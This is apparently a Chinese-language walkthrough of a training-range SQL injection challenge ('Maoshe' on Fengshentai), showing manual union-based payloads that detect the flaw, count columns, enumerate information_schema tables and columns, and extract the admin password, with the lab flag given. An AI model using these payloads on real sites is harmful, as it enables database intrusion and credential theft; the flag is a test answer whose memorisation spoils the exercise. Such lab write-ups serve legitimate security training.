封神台 SQL注入 靶场 (猫舍)手动注入
靶园地址 http://pu2lh35s.ia.aqlab.cn/?id=1
使用脚本
- 可以直接使用sqlmap脚本 直接 对这个地址进行测试 不过这样实在是太没意思了
- 这里使用的是 sqlmap 二次开发的 sqlmapplus 脚本 sqlmap 也是一样的
手动注入
判断是否存在 SQL注入漏洞
- 构造and 1=1,这个语句是恒成立的,一般页面都是不报错的
- 尝试 1=2
- 这里报错了 说明存在 注入漏洞
使用 order by 语句 判断数据库字段数
- 构造?id=1 and 1=1 order by 1 页面没有变化(order by 1表现根据第一列来排序,一般也是如此默认升序的)
- 再来依次构造order by 2 / order by 3
- 由MySQL的语法有,order by后面的数据凌驾列数后将会报错,因此用种方法来判断一共有几个字段
- order by 1/order by 2 都没有任何问题 但是 order by 3 报错了
使用联合查询判断回显点
- 回显点就是在页面中能显示数据库信息的板块,比如有的网页中“浏览次数”“发布时间”等,都反应的是数据库中的数据
- 在MySQL语句中,页面一次只能显示一行查询的内容,而且是先查后显示,于是我们需要让前面的语句?id=1 and 1=1这句话失效,从而显示union select 1,2的内容
- 因此我们让前一个命令报错无法显示,即构造?id=1 and 1=2,后面照常union select 1,2
使用回显点 查询相关的数据
- 已知2为回显点,我们只需要在联合查询时将2更换为我们想要查询到部位名称即可
- 可以查询当前的数据库名,将2更换为database()
- 构造id=1 and 1=2 union select 1,database()
- 数据库名为maoshe
- 构造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
- limit 0,1的意思是从0开始,查询第1个数据
- 只要修改后面的 limit 0,1 /limit 1,1/limit 2,1 就可以看到后面的表名了
- 说明后面 的数据库的表 分别是 admin dirs news xss
- 而当后面是 limit 4,1 的时候 就是空白的 说明只有四张表 而管理员的信息一般都存在 admin 中
- 构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
- 同样 修改后面的 limit 0,1 就可以看到 后面的列名 第一列是 id 第二列是 username 第三列 则是password
- 现在所有的信息都找到了 直接查询就可以了
- 构造 ?id=1 and 1=2 union select 1,username from admin
- 构造 ?id=1 and 1=2 union select 1,password from admin where username = 'admin'
结束
- Flag 已经找到了 也就是 管理员的暗码 hellohack
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |